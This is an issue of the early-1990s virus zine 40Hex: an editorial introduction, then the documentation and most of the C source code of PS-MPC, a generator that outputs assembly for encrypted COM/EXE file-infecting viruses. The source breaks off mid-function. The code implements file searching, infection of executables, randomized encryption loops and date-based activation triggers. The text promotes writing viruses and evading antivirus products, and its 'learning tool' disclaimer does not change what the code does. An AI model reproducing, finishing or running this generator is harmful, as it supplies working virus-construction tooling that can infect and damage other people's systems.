I don't want anybody complaining about not being able to compile the PS-MPC utility in 40Hex-8, so listen close. You must set the "unsigned chars" option on in order for the utility to compile properly. It is in the Options/Compile menu. Spread the word along with 40Hex... --- Telegard v2.5k Standard * Origin: LandFill BBS (242:914/2.0) 40Hex Number 8 Volume 2 Issue 4 File 000 Welcome to 40 Hex issue 8. First off, this month is going to be Boot Sector Appreciation Month at 40Hex. We will have a fully disassembled Michelangelo, along with a Pakistani Brain variant called Ashar. But as always, there is a lot of other news that I have to discuss with all you, so on with the show. For the last couple months, we have recieved quite a bad rap on Fidonet. This has to do with the original SKISM Viruses (Like SKISM 1-14). Like everyone, we had to start somewhere. So what if our original virii blew large goats. Judge us on some of our newer stuff. Oh, what is this you say? You can't find our newer stuff? Well, neither can McAfee. Everyone will become enlightened soon enough. Other people on Fido who have been giving us a hard time, think it bothers us? Think again, we love it! One of our personal favorites is Gary Watson, who amuses us with each new post, and Tag Line (which are hysterical). Secondly, Hellraiser is back as an author for 40Hex! He currently doesn't have a modem, but he can at least do some slave work. Great to have you back HR. Another way in which 40Hex is going to help support virus community is by the brand new PHALCON/SKISM Macintosh Programming Team! The four people involved in that are Renegade, Sixo, Trojan, and Wintermute! They will be cranking out a lot of quality Macintosh utilities, trojans and other interesting things very soon! Look for them on all of our BBS's. -=PHALCON/SKISM=- Net will be arriving to a BBS near you very soon. If you are interested, leave mail to any one of our fine support systems. 40Hex-8 Table of contents 40Hex-8.000......................You Are Here! 40Hex-8.001......................PS-MPC (MassProducedCode) 40Hex-8.002......................Putav, an expose! 40Hex-8.003......................Findav -P/S- Style 40Hex-8.004......................Checkav -P/S- Original 40Hex-8.005......................StarShip Virus Info 40Hex-8.006......................Virus Spotlite: Michelangelo 40Hex-8.007......................EXE Infectors and you 40Hex-8.008......................Disassembly of ASHAR 40Hex-8.009......................Ear-6 source en Espa¤ol 40Hex-8.010......................Letter to the Editor Greetings to: The new and improved [NuKE], FirstStrike, Apache Warrior, all PHALCON/SKISM Members, Backstabbers and everyone else we forgot to greet! -)GHeap 40Hex Number 8 Volume 2 Issue 4 File 001 Once again, -=PHALCON/SKISM=- pisses off the PD scene. Now anyone can make their own virus, and give it to Gary Watson, the only guy on Fidonet who we love. Without him, we would never get the fame that we now covet so greatly. Well, that is until we got our official Pepsi Gotta Have It Cards. Thank you Gary. -) Gheap ----------------------------- Docs -n- code begin ----------------------------- PS-MPC Pretty Slick Multimedia Personal Computer (NOT) Phalcon/Skism Mass-Produced Code Generator 0.90á Created by Dark Angel TABLE OF CONTENTS TABLE OF CONTENTS i DEDICATION i DISCLAIMER ii PURPOSE ii WHAT IS THE PS-MPC? 1 USING THE PS-MPC 1 NO ACTIVATION ROUTINES 1 WHY NO IDE 2 SOURCE CODE AVAILABILITY 2 PROBLEMS 2 FUTURE ENHANCEMENTS 2 HISTORY OF VIRUS TOOLKITS A DEDICATION The author hereby releases this program and its source code into the public domain as "freeware." All code generated by the program must, however, retain the designation of said program, although all other parts may be modified at the user's discretion. The author dedicates this program to both the virus and anti-virus communities, both of which profit from the introduction of the Phalcon/Skism Mass-Produced Code Generator. Thanks are due to NoWhere Man for his excellent program VCL, which served as the inspiration for this package. PS-MPC Documentation - i - Phalcon/Skism 1992 DISCLAIMER This program may cause either the intentional or unintentional disruption of normal brain wave activity of the user due to the extreme shock quality of the program. The author hereby absolves himself of all liability. Persons with pacemakers beware! The code produced by the Phalcon/Skism Mass-Produced Code Generator is not designed to be damaging; however, the author is not responsible for incidental damages caused by use of the program. Further, the author is not responsible for damages caused by changes to the code generated by the PS-MPC. The author does not condone the illegal spread of executable code created in part or in whole by the PS-MPC. All source code and executable files created with the aid of the PS-MPC must be distributed with the reci- pient's full knowledge of the contents. Malicious use of the code is strictly prohibited. PURPOSE The Phalcon/Skism Mass-Produced Code Generator is not designed to create malicious code; rather, it is a learning tool from which a person may learn to write effective viral code. The code generated by the PS-MPC is highly optimised for both size and speed and is therefore the code generated can be used by the fledgling virus writer as a model for future endeavours. PS-MPC Documentation - ii - Phalcon/Skism 1992 WHAT IS THE PS-MPC? The Phalcon/Skism Mass-Produced Code Generator is a tool which generates viral code according to user-designated specifications. The output is in Masm/Tasm-compatible Intel 8086 assembly and it is up to the user to assemble the output into working executable form. The features of the PS-MPC include the following: o Over 150 encryption techniques, randomly generated during each run of the PS-MPC o Compact, commented code, much tighter than VCL o COM/EXE infections o Two types of traversals o Optional infection of Command.Com o Critical error handler support USING THE PS-MPC The syntax of the PS-MPC is simple: PS-MPC ... The parameters given to the PS-MPC are the names of the configuration files. For example, to create two separate viruses using the configuration files FOOBAR1.CFG and FOOBAR2.CFG, simply type "PS-MPC FOOBAR1.CFG FOOBAR2.CFG" at the prompt. The configuration file is a text file containing a set of parameters which define the output of the PS-MPC. A sample configuration file, SKELETON.CFG is included with the package. This configuration file contains all the acceptable parameters that the PS-MPC will accept. It also includes the defaults to each of these parameters. The configuration file is self-explanatory, so there is no need to go into further detail at this time. When the Generator has completed creating the source code file/s, simply assemble the output file/s with your favorite assembler/linker combination. A multi-pass assembler is recommended. Masm is a poor choice for an assembler; try Tasm. Masm requires the code to include extra segment overrides which unnecessarily add to the code length. Masm 6.0 may fix these problems (I'm not sure since I don't have it). Tasm, on the other hand, is an excellent, fast, multipass assembler far superior to Masm. NO ACTIVATION ROUTINES I have not included any activation routines in the package simply because I do not think the power of creating potentially-destructive viruses should be in the hands of persons incapable of coding a simple activation routine in assembly. If you can rip a simple FAT-annihilator out of another trojan, then I cannot stop you from doing so. But just remember that the most memorable viruses are not necessarily those that cause the most damage, but are usually those that have unusual activation routines. Upon finding activation conditions, the PS-MPC will generate a short stub for the activation routine. This is located immediately after the code for the restoration of the executable files. It is identified by the label "activate" and is followed by a return. Insert your own activation routine between those two lines. PS-MPC Documentation - 1 - Phalcon/Skism 1992 WHY NO IDE (Integrated Development Environment) Everyone agrees that Microsoft Windows is for cripples. Obviously, you, the user of the PS-MPC, are no cripple, so you need no puny IDE with colourful, deluxe windows to aid you. If you are a cripple, go ahead and create the configuration file in your favorite Windows text editor. Hell, port the code to the Macintosh and you can be truly crippled (although you'll have your pretty windows and icons). SOURCE CODE AVAILABILITY This program is distributed with full source code. Although the source should be self-explanatory, I have gone back and commented several portions in order to facilitate understanding. The program was written in Turbo C 2.0 and compiled in the tiny memory model. I trust that you will not hack this program and call it your own. Source code is available only because I think it will aid in your understanding of the program. PROBLEMS This program was written hastily. The bulk of the coding was completed in under two days. Features were added by the process of accretion during the following week. Needless to say, the code is now extremely unmanageable. If there is enough interest in the package, I will rewrite it in order to alleviate the strain caused in maintaining such code. This will help in adding features as the need arises. There MAY be some bugs in this version since it hasn't been thoroughly tested yet. Report all bugs to me (duh). Be sure to save the configuration file of the faulty code so the bug may be reproduced. Better yet, find the problem, fix the C source, and send it to me. Zowie! FUTURE ENHANCEMENTS As you may have already noticed, this is a pre-1.0 release version of the Generator. There are several features which I wish to add before version 1.0. These include, but are not limited to, resident viruses, padded-EXE infections (shorter routine), and better documentation(!). A few surprises will be thrown in as well. I do not plan on increasing the size of the PS-MPC.COM file dramatically, so with every addition will come code to keep the increase in file size to a minimum. I do not intend to devote too much time to the project as I personally don't actually use the generator to spew out code for the group. Note: The version included with 40Hex-8 is not the latest version. Due to space considerations, we could not include the source code to version 0.91á which is somewhat larger. PS-MPC Documentation - 2 - Phalcon/Skism 1992 HISTORY OF VIRUS TOOLKITS The first known virus toolkit was called VCS, or Virus Construction Set. This program generated a new virus each time it was run. However, there were no code differences at all between any two viruses generated by VCS. All viruses generated were 1077 bytes in length and all could be detected with the identical scan string. The advantage in this approach was that the user needed absolutely no knowledge of 8086 assembly to take advantage of this program. This program of limited usefulness spawned only one well-known variant called Manta. It is not even worth mentioning here. The second virus toolkit was CrazySoft, Inc.'s Dark Avenger Mutation Engine (MtE). This magnificent work of Bulgarian coding allowed virus authors to create viruses with an almost limitless number of decryption routines. Although the author needed to know how to write 8086 assembly code, no knowledge of the inner workings of MtE save the entry parameters was needed to use this toolkit. It has since spawned several viruses, including Dedicated, Pogue, Fear, and Groove. The next virus toolkit to be released was VCL, or Virus Construction Laboratory. This was written by NoWhere Man of NuKE. This toolkit allowed the user many options, including the creation of parasitic COM infectors, spawning EXE infectors, trojan horses and logic bombs. Since it could only handle parasitic infections of the COM file format, it was of limited usefulness. Additionally, it incorporated only one decryption formula, once again limiting its usefulness. Further, the initial release included a quirky installation program which failed to install properly under certain conditions. However, this package contained a colourful IDE loosely based on the Borland interface. This IDE was incredibly simple to use and even the average Joe could understand how to use it without understanding 80x86 assembly. Unfortunately, the activation routines included with the package were of limited usefulness. Most of these involved manipulating the BIOS memory area at segment 40h. PS-MPC Documentation - A - Phalcon/Skism 1992 ------------------------------ Source code begins ----------------------------- /* FILE: VHEADER.H */ #ifndef __VHEADER_H #define __VHEADER_H /* infect */ #define COM 1 #define EXE 2 /* traverse */ #define NONE 0 #define DOT_DOT 1 typedef struct { char always; char number; char month; char day; int year; char dow; int monthday; char hour; char minute; char second; char percentage; } activation_conditions; typedef struct { unsigned infectCOM : 1; unsigned infectEXE : 1; unsigned traverse : 1; /* Currently only two types */ unsigned encrypt : 1; unsigned int24 : 1; unsigned CommandCom : 1; unsigned allowzero : 1; unsigned calls_check : 1; } parameters; typedef struct { char configfilename[80]; char asmfilename[80]; char id[3]; char virusname[80]; char virusnamedelim; char authorname[80]; char authornamedelim; unsigned minsize, maxsize; char maxinfect; parameters p; char xor_value; char xor_comment[40]; char activation; activation_conditions activate, plusminus; } globals; /* prototypes from vmain.c */ void print(char *s, char *t); void printlabel(char *s, char *t); void addvar(char *s, char *t, char *u); void printblank(void); /* prototypes from vheap.c */ void addheap(char *s, char *t, char *u); void _addheap(char *s); void resetheap(void); /* code generating prototypes */ void code_header(void); void code_encryption(void); void code_setup(void); void code_traversal(void); void code_check_activation(void); void code_return(void); void code_activate(void); void code_messages(void); void code_check(void); void code_infect(void); void code_subroutines(void); void code_variables(void); void code_heap(void); void code_tail(void); #ifndef MAIN extern globals config; #endif #endif /* __VHEADER_H */ ----------------------------------- Cut Here ---------------------------------- /* FILE: VACTIVE.C */ #include "vheader.h" void code_activate(void) { if (config.activation) { printlabel("activate:","Conditions satisfied"); printlabel("; Insert your activation code here",""); print("jmp exit_virus",""); printblank(); } } ----------------------------------- Cut Here ---------------------------------- /* FILE: VCACTIVE.C */ #include "vheader.h" void code_get_date(void); void code_get_time(void); void code_jmp(char c); char coded_date, coded_time, Activation; void code_check_activation(void) { char b[80]; coded_date = coded_time = 0; Activation = config.activation; if (config.activate.always) printlabel("jmp activate","Always activate"); else { if (config.activate.month) { code_get_date(); sprintf(b,"cmp dh,%d",config.activate.month); print(b,"Check month"); code_jmp(config.plusminus.month); } if (config.activate.day) { code_get_date(); sprintf(b,"cmp dl,%d",config.activate.day); print(b,"Check date"); code_jmp(config.plusminus.day); } if (config.activate.year) { code_get_date(); sprintf(b,"cmp cx,%u",config.activate.year); print(b,"Check year"); code_jmp(config.plusminus.year); } if (config.activate.dow != 255) { code_get_date(); sprintf(b,"cmp al,%d",config.activate.dow); print(b,"Check date of week"); code_jmp(config.plusminus.dow); } if (config.activate.monthday) { code_get_date(); sprintf(b,"cmp dx,0%xuh",config.activate.monthday); print(b,"Check month/date"); code_jmp(config.plusminus.monthday); } if (coded_date) printblank(); if (config.activate.hour != 255) { code_get_time(); sprintf(b,"cmp ch,%d",config.activate.hour); print(b,"Check the hour"); code_jmp(config.plusminus.hour); } if (config.activate.minute != 255) { code_get_time(); sprintf(b,"cmp cl,%d",config.activate.minute); print(b,"Check the minute"); code_jmp(config.plusminus.minute); } if (config.activate.second != 255) { code_get_time(); sprintf(b,"cmp dh,%d",config.activate.second); print(b,"Check the seconds"); code_jmp(config.plusminus.second); } if (config.activate.percentage) { code_get_time(); sprintf(b,"cmp dl,%d",config.activate.percentage); print(b,"Check the percentage"); code_jmp(-1); if (coded_time) printblank(); } } } void code_jmp(char c) { if (--Activation) { if (c == 1) print("jb exit_virus",""); else if (c == 0) print("jnz exit_virus",""); else if (c == 255) print("ja exit_virus",""); } else { if (c == 1) print("jae config.activate",""); else if (c == 0) print("jz config.activate",""); else if (c == 255) print("jbe config.activate",""); } } void code_get_date(void) { if (!coded_date) { print("mov ah,2ah","Get current date"); print("int 21h",""); coded_date++; } } void code_get_time(void) { if (!coded_time) { print("mov ah,2ch","Get current time"); print("int 21h",""); coded_time++; } } ----------------------------------- Cut Here ---------------------------------- /* FILE: VCHECK.C */ #include "vheader.h" void checkCOM(void); void code_check(void) { if (config.p.calls_check) printlabel("infect_mask:",""); print("mov ah,4eh","find first file"); print("mov cx,7","any attribute"); printlabel("findfirstnext:",""); print("int 21h","DS:DX points to mask"); if (config.p.calls_check) print("jc exit_infect_mask","No mo files found"); else print("jc done_infections","No mo files found"); printblank(); print("mov al,0h","Open read only"); print("call open",""); printblank(); print("mov ah,3fh","Read file to buffer"); print("lea dx,[bp+buffer]","@ DS:DX"); print("mov cx,1Ah","1Ah bytes"); print("int 21h",""); printblank(); print("mov ah,3eh","Close file"); print("int 21h",""); printblank(); if (config.p.infectEXE) { if (config.p.infectCOM) { print("cmp word ptr [bp+buffer],'ZM'","EXE?"); print("jz checkEXE","Why yes, yes it is!"); checkCOM(); } printlabel("checkEXE: cmp word ptr [bp+buffer+10h],id","is it already infected?"); print("jnz infect_exe",""); } else checkCOM(); printlabel("find_next:",""); print("mov ah,4fh","find next file"); print("jmp short findfirstnext",""); if (config.p.calls_check) { printlabel("exit_infect_mask: ret",""); printblank(); } } void checkCOM(void) { char s[80]; printlabel("checkCOM:",""); if (!config.p.CommandCom) { print("mov ax,word ptr [bp+newDTA+35]","Get tail of filename"); print("cmp ax,'DN'","Ends in ND? (commaND)"); print("jz find_next",""); printblank(); } print("mov ax,word ptr [bp+newDTA+1Ah]","Filesize in DTA"); if (config.minsize) { if (config.minsize == 1) /* automatic calculation */ if (config.p.encrypt) strcpy(s,"cmp ax,(heap-decrypt)"); else strcpy(s,"cmp ax,(heap-startvirus)"); else /* if (minsize != 1) */ sprintf(s,"cmp ax,%u",config.minsize); print(s,"Is it too small?"); print("jb find_next",""); printblank(); } if (config.maxsize) { if (config.maxsize == 1) /* automatic calculation */ if (config.p.encrypt) strcpy(s,"cmp ax,65535-(endheap-decrypt)"); else strcpy(s,"cmp ax,65535-(endheap-startvirus)"); else sprintf(s,"cmp ax,%u",config.maxsize); print(s,"Is it too large?"); print("ja find_next",""); printblank(); } print("mov bx,word ptr [bp+buffer+1]","get jmp location"); if (config.p.encrypt) print("add bx,heap-decrypt+3","Adjust for virus size"); else print("add bx,heap-startvirus+3","Adjust for virus size"); print("cmp ax,bx",""); print("je find_next","already infected"); print("jmp infect_com",""); } ----------------------------------- Cut Here ---------------------------------- /* VENCRYPT.C */ #include #include "vheader.h" void code_loop_count(void); void code_loop_start(void); void code_decrypt_code(void); char mem_counter; char mem_registers[4][3] = { "bx", "bp", "si", "di" }; char loop_counter; char loop_registers[7][3] = { "ax", "bx", "cx", "dx", "bp", "si", "di" }; char xor_registers[4][2] = { { 0x81, 0x37 }, { 0x81, 0x76 }, { 0x81, 0x34 }, { 0x81, 0x35 } }; char add_registers[4][2] = { { 0x81, 0x07 }, /* add [bx],xxxx / db 81h, 7h,xxh,xxh */ { 0x81, 0x46 }, /* add [bp],xxxx / db 81h,46h,00,xxh,xxh */ { 0x81, 0x04 }, { 0x81, 0x05 }, }; void code_encryption(void) { if (config.p.encrypt) { srand(peek(0,0x46C)); printlabel("decrypt:","handles encryption and decryption"); if ((loop_counter = random(10)) > 6) /* if out of bounds */ loop_counter = 2; /* set it = to cx */ while (1) { mem_counter = random(4); if (strcmp(mem_registers[mem_counter = random(4)], loop_registers[loop_counter])) break; } if (random(2)) { code_loop_count(); code_loop_start(); } else { code_loop_start(); code_loop_count(); } code_decrypt_code(); } } void code_loop_count(void) { char b[80]; sprintf(b,"mov %s,(offset heap - offset startencrypt)/2", loop_registers[loop_counter]); print(b,"iterations"); } void code_loop_start(void) { char b[80]; printlabel("patch_startencrypt:",""); sprintf(b,"mov %s,offset startencrypt", mem_registers[mem_counter]); print(b,"start of decryption"); } void code_decrypt_code(void) { char b[80],c[80]; printlabel("decrypt_loop:",""); config.xor_value = 0; switch (random(2)) { case 0 : sprintf(b,"db %s%2.2xh,%2.2xh%s", (config.p.infectEXE) ? "2eh," : "", xor_registers[mem_counter][0], xor_registers[mem_counter][1],(mem_counter == 1) ? ",0":""); sprintf(c,"xor word ptr %s[%s], xxxx", (config.p.infectEXE) ? "cs:" : "",mem_registers[mem_counter]); break; case 1 : sprintf(b,"db %s%2.2xh,%2.2xh%s", (config.p.infectEXE) ? "2eh," : "", add_registers[mem_counter][0], add_registers[mem_counter][1],(mem_counter == 1) ? ",0":""); sprintf(c,"add word ptr %s[%s], xxxx", (config.p.infectEXE) ? "cs:" : "",mem_registers[mem_counter]); config.xor_value = 0x28; strcpy(config.xor_comment,"flip between add/sub"); break; } print(b,c); printlabel("decrypt_value dw 0","initialised at zero for null effect"); sprintf(c,"inc %s",mem_registers[mem_counter]); print(c,"calculate new decryption location"); print(c,""); if (loop_counter - 2) { sprintf(b,"dec %s",loop_registers[loop_counter]); print(b,"If we are not done, then"); print("jnz decrypt_loop","decrypt mo'"); } else print("loop decrypt_loop","decrypt mo'"); printlabel("startencrypt:",""); } ----------------------------------- Cut Here ---------------------------------- /* FILE: VHEADER.C */ #include "vheader.h" void code_header(void) { char b[80]; sprintf(b,"; %s : %s by %s",config.asmfilename, (config.virusname[0]) ? config.virusname : "Unknown", (config.authorname[0])? config.authorname: "Unknown"); printlabel(b,""); printlabel("; Created wik the Phalcon/Skism Mass-Produced Code Generator",""); sprintf(b,"; from the configuration file %s",config.configfilename); printlabel(b,""); printblank(); printlabel(".model tiny","Handy directive"); printlabel(".code","Virus code segment"); print("org 100h","COM file starting IP\n"); if (config.p.infectEXE) { sprintf(b,"id = '%s'",config.id); printlabel(b,"ID word for EXE infections"); } if (config.p.infectCOM) if (config.p.encrypt) printlabel("entry_point: db 0e9h,0,0","jmp decrypt"); else printlabel("entry_point: db 0e9h,0,0","jmp startvirus"); printblank(); } ----------------------------------- Cut Here ---------------------------------- /* FILE: VHEAP.C */ #include "vheader.h" char heap[30][80]; char max; void code_heap(void) { printlabel("heap:","Variables not in code"); if (max) while (max--) printlabel(heap[max],""); else printlabel("; No heap to speak of",""); printlabel("endheap:","End of virus"); } void addheap(char *s, char *t, char *u) { if (*u) sprintf(heap[max++],"%-20.20s%-20.20s; %-37.37s",s,t,u); else sprintf(heap[max++],"%-20.20s%s",s,t); } void _addheap(char *s) { strcpy(heap[max++],s); } void resetheap(void) { max=0; } ----------------------------------- Cut Here ---------------------------------- /* FILE: VINFECT.C */ #include "vheader.h" void write_encrypt(void); void code_infect_EXE(void); void code_infect(void) { if (config.p.infectEXE) { printlabel("infect_exe:",""); code_infect_EXE(); if (config.p.infectCOM) print("jmp short finishinfection",""); } if (config.p.infectCOM) { printlabel("infect_com:","ax = filesize"); print("mov cx,3",""); print("sub ax,cx",""); print("lea si,[bp+offset buffer]",""); print("lea di,[bp+offset save3]",""); print("movsw",""); print("movsb",""); print("mov byte ptr [si-3],0e9h",""); print("mov word ptr [si-2],ax",""); if (config.p.encrypt) { print("add ax,103h",""); print("push ax","needed later"); } } printlabel("finishinfection:",""); print("push cx","Save # bytes to write"); print("xor cx,cx","Clear attributes"); print("call attributes","Set file attributes"); printblank(); print("mov al,2",""); print("call open",""); printblank(); print("mov ah,40h","Write to file"); print("lea dx,[bp+buffer]","Write from buffer"); print("pop cx","cx bytes"); print("int 21h",""); printblank(); print("mov ax,4202h","Move file pointer"); print("xor cx,cx","to end of file"); print("cwd","xor dx,dx"); print("int 21h",""); printblank(); if (config.p.encrypt) { write_encrypt(); } else { print("mov ah,40h","Concatenate virus"); print("lea dx,[bp+startvirus]",""); print("mov cx,heap-startvirus","# bytes to write"); print("int 21h",""); printblank(); } print("mov ax,5701h","Restore creation date/time"); print("mov cx,word ptr [bp+newDTA+16h]","time"); print("mov dx,word ptr [bp+newDTA+18h]","date"); print("int 21h",""); printblank(); print("mov ah,3eh","Close file"); print("int 21h",""); printblank(); print("mov ch,0",""); print("mov cl,byte ptr [bp+newDTA+15h]","Restore original"); print("call attributes","attributes"); printblank(); if (config.maxinfect) { print("dec byte ptr [bp+numinfec]","One mo infection"); print("jnz mo_infections","Not enough"); if (config.p.calls_check) print("pop ax","remove call from stack"); print("jmp done_infections",""); } printlabel("mo_infections: jmp find_next",""); printblank(); } void write_encrypt(void) { if (!config.p.allowzero) printlabel("get_encrypt_value:",""); print("mov ah,2ch","Get current time"); print("int 21h","dh=sec,dl=1/100 sec"); if (!config.p.allowzero) { print("or dx,dx","Check if encryption value = 0"); print("jz get_encrypt_value","Get another if it is"); } print("mov [bp+decrypt_value],dx","Set new encryption value"); addheap("code_store:","db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)",""); _addheap("; The following code is the buffer for the write function"); print("lea di,[bp+code_store]",""); print("mov ax,5355h","push bp,push bx"); print("stosw",""); print("lea si,[bp+decrypt]","Copy encryption function"); print("mov cx,startencrypt-decrypt","Bytes to move"); print("push si","Save for later use"); print("push cx",""); print("rep movsb",""); printblank(); if (config.xor_value) { char b[80]; sprintf(b,"xor byte ptr [bp+decrypt_loop+%c],0%2.2xh", (config.p.infectEXE) ? '2' : '1', config.xor_value); print(b,config.xor_comment); printblank(); } print("lea si,[bp+write]","Copy writing function"); print("mov cx,endwrite-write","Bytes to move"); print("rep movsb",""); print("pop cx",""); print("pop si",""); print("pop dx","Entry point of virus"); print("push di",""); print("push si",""); print("push cx",""); print("rep movsb","Copy decryption function"); print("mov ax,5b5dh","pop bx,pop bp"); print("stosw",""); print("mov al,0c3h","retn"); print("stosb",""); printblank(); print("add dx,offset startencrypt - offset decrypt","Calculate new"); print("mov word ptr [bp+patch_startencrypt+1],dx","starting offset of"); print("call code_store","decryption"); print("pop cx",""); print("pop di",""); print("pop si",""); print("rep movsb","Restore decryption function"); printblank(); } void code_infect_EXE(void) { print("les ax, dword ptr [bp+buffer+14h]","Save old entry point"); print("mov word ptr [bp+jmpsave2], ax",""); print("mov word ptr [bp+jmpsave2+2], es",""); printblank(); print("les ax, dword ptr [bp+buffer+0Eh]","Save old stack"); print("mov word ptr [bp+stacksave2], es",""); print("mov word ptr [bp+stacksave2+2], ax",""); printblank(); print("mov ax, word ptr [bp+buffer + 8]","Get header size"); print("mov cl, 4","convert to bytes"); print("shl ax, cl",""); print("xchg ax, bx",""); printblank(); print("les ax, [bp+offset newDTA+26]","Get file size"); print("mov dx, es","to DX:AX"); print("push ax",""); print("push dx",""); printblank(); print("sub ax, bx","Subtract header size from"); print("sbb dx, 0","file size"); printblank(); print("mov cx, 10h","Convert to segment:offset"); print("div cx","form"); printblank(); print("mov word ptr [bp+buffer+14h], dx","New entry point"); print("mov word ptr [bp+buffer+16h], ax",""); printblank(); print("mov word ptr [bp+buffer+0Eh], ax","and stack"); print("mov word ptr [bp+buffer+10h], id",""); printblank(); print("pop dx","get file length"); print("pop ax",""); printblank(); if (config.p.encrypt) print("add ax, heap-decrypt","add virus size"); else print("add ax, heap-startvirus","add virus size"); print("adc dx, 0",""); printblank(); print("mov cl, 9",""); print("push ax",""); print("shr ax, cl",""); print("ror dx, cl",""); print("stc",""); print("adc dx, ax",""); print("pop ax",""); print("and ah, 1","mod 512"); printblank(); print("mov word ptr [bp+buffer+4], dx","new file size"); print("mov word ptr [bp+buffer+2], ax",""); printblank(); print("push cs","restore ES"); print("pop es",""); printblank(); if (config.p.encrypt) print("push word ptr [bp+buffer+14h]","needed later"); print("mov cx, 1ah",""); } ----------------------------------- Cut Here ---------------------------------- /* FILE: VMAIN.C */ /* The Phalcon/Skism Mass-Produced Code Generator * * Version 0.90á - 27 Jul 92 - Initial Release * * Written by Dark Angel of Phalcon/Skism * * Source code released with 40Hex-8 * */ #include #define MAIN #include "vheader.h" #undef MAIN globals config; void parse_config(void); unsigned getnumber(int line, char *d, char ok, char *next); char getyn(int line, char *d); void setplusminus(char *a, char b); void parseactivate(int line, char *d, char min, char max, char *a, char *b,char *s); void printerror(int line, char c); void getDBname(char *orig, char *name,char *delim); FILE *fp; void main(int argc, char **argv) { char c,filename[80]; puts("PS-MPC þ Phalcon/Skism Mass Produced Code Generator"); puts(" þ Version 0.90á Written by Dark Angel\n"); if (argc < 2) { puts("Syntax: PS-MPC ..."); puts(" file1 = name of first configuration file"); puts(" file2 = name of second configuration file"); } for (c=1;c 40) fputc(' ',fp); fprintf(fp,"; %s",t); } else /* if (*t) */ fprintf(fp,s); fprintf(fp,"\n"); } void addvar(char *s, char *t, char *u) { char b[80]; if (*u) sprintf(b,"%-20.20s%-20.20s; %s",s,t,u); else sprintf(b,"%-20.20s%s",s,t); printlabel(b,""); } void parse_config(void) { char b[80]; char *c, *d; int line = 0; globals default_globals = { "", /* Configuration file name */ "", /* Source code file name */ " ", /* EXE ID Word */ "", /* Virus name */ '\'', /* Deliminator for virus name */ "", /* Author name */ '\'', /* Deliminator for author name */ 0, /* Minimum COM size for infection */ 0, /* Maximum COM size for infection */ 0, /* Infections per run */ { 0,0,NONE,0,0,0,0 }, /* flags */ 0, /* xor value */ "", /* xor comment */ 0, /* number of activation conditions */ { 0,0,0,0,0,-1,0,-1,-1,-1,0 }, /* activation conditions */ { 0,0,0,0,0, 0,0, 0, 0, 0,-1} /* plusminus activation conditions */ }; config = default_globals; while (1) { line++; b[0]=0; c = fgets(b,100,fp); if (!b[0]) break; while (isspace(*c)) c++; /* skip initial spaces */ if (!*c || *c == ';') continue; // check if this line is a comment d = c; while (!isspace(*d)) d++; /* isolate one word */ *d++ = 0; /* NULL terminate it */ while (isspace(*d) || (*d == '=')) d++; if (!stricmp(c,"filename")) { c = d; while (!isspace(*d)) d++; /* isolate filename */ *d = 0; strcpy(config.asmfilename,c); } else if (!stricmp(c,"traversal")) switch (toupper(*d)) { case 'N' : config.p.traverse = NONE; break; case 'D' : config.p.traverse = DOT_DOT; break; default : printerror(line,*d); } else if (!stricmp(c,"encryption")) config.p.encrypt = getyn(line,d); else if (!stricmp(c,"infect")) { while (!isspace(*d)) { switch (toupper(*d)) { case 'C' : config.p.infectCOM = 1; break; case 'E' : config.p.infectEXE = 1; break; case ',' : break; default : printerror(line,*d); } d++; } } else if (!stricmp(c,"idword")) { config.id[0] = (isspace(*d)) ? ' ' : *d; config.id[1] = (isspace(*(d+1))) ? ' ' : *(d+1); config.id[2]=0; } else if (!stricmp(c,"minsize")) { if (toupper(*d) == 'A') config.minsize = 1; else { config.minsize = getnumber(line,d,0,0); if (config.maxsize > 1) if (config.minsize > config.maxsize) puts("Error: minsize is greater than maxsize!"); } } else if (!stricmp(c,"maxsize")) { if (toupper(*d) == 'A') config.maxsize = 1; else { config.maxsize = getnumber(line,d,0,0); if (config.minsize > 1) if (config.maxsize < config.minsize) printf("Error: minsize is greater than maxsize!\n"); } } else if (!stricmp(c,"infections")) config.maxinfect = (unsigned char)getnumber(line,d,0,0); else if (!stricmp(c,"errorhandler")) config.p.int24 = getyn(line,d); else if (!stricmp(c,"commandcom")) config.p.CommandCom = getyn(line,d); else if (!stricmp(c,"virusname")) getDBname(d,config.virusname,&config.virusnamedelim); else if (!stricmp(c,"authorname")) getDBname(d,config.authorname,&config.authornamedelim); else if (!stricmp(c,"allowzero")) config.p.allowzero = getyn(line,d); else if (!stricmp(c,"always")) { config.activate.always = getyn(line,d); if (config.activate.always) config.activation++; } else if (!stricmp(c,"ifmonth")) parseactivate(line,d,1,12,&config.activate.month,&config.plusminus.month,"month"); else if (!stricmp(c,"ifday")) parseactivate(line,d,1,31,&config.activate.day,&config.plusminus.day,"day"); else if (!stricmp(c,"ifyear")) { config.activate.year = getnumber(line,d,'+',d); setplusminus((char *)&config.plusminus.year,*d); config.activation++; } else if (!stricmp(c,"ifdow")) parseactivate(line,d,0,6,&config.activate.dow,&config.plusminus.dow,"date of week"); else if (!stricmp(c,"ifmonthday")) { int tempint; char temp=(char)getnumber(line,d,',',d); if ((temp < 1) || (temp > 12)) printf("Invalid month: %d. Must range between 1 and 12.\n",temp); else { d++; tempint = temp*0x100; temp=(char)getnumber(line,d,'+',d); if ((temp < 1) || (temp > 31)) { printf("Invalid day: %d. Must range between 1 and 31.\n",temp); } else { config.activate.monthday=tempint + temp; setplusminus((char *)&config.plusminus.monthday,*d); config.activation++; } } } else if (!stricmp(c,"ifhour")) parseactivate(line,d,0,23,&config.activate.hour,&config.plusminus.hour,"hour"); else if (!stricmp(c,"ifminute")) parseactivate(line,d,0,59,&config.activate.minute,&config.plusminus.minute,"minute"); else if (!stricmp(c,"ifsecond")) parseactivate(line,d,0,59,&config.activate.second,&config.plusminus.second,"second"); else if (!stricmp(c,"percentage")) parseactivate(line,d,1,99,&config.activate.percentage,0,"percentage"); else if (!isspace(c)) printf("Error in line %d: Invalid parameter '%s'.\n",line,c); } } unsigned int getnumber(int line,char *d,char ok,char *next) { int temp = 0; while (isdigit(*d)) { temp*=10; temp+=(*d-'0'); d++; } if ((ok == '+') && (!((*d == '+') || (*d == '-'))) && !isspace(*d)) printerror(line,*d); else if (next) *next=*d; return temp; } char getyn(int line,char *d) { switch (toupper(*d)) { case 'Y' : return 1; case 'N' : return 0; default : printerror(line,*d); } return 0; } void setplusminus(char *a, char b) { if (b == '+') *a = 1; else if (b == '-') *a = -1; else *a = 0; } void parseactivate(int line, char *d, char min, char max, char *a, char *b, char *s) { char *c=d; char temp = (char)getnumber(line,d,'+',c); if ((temp < min) || (temp > max)) printf("Invalid %s specified: %d. Range must be between %d & %d.\n",s,temp,min,max); else { *a = temp; if 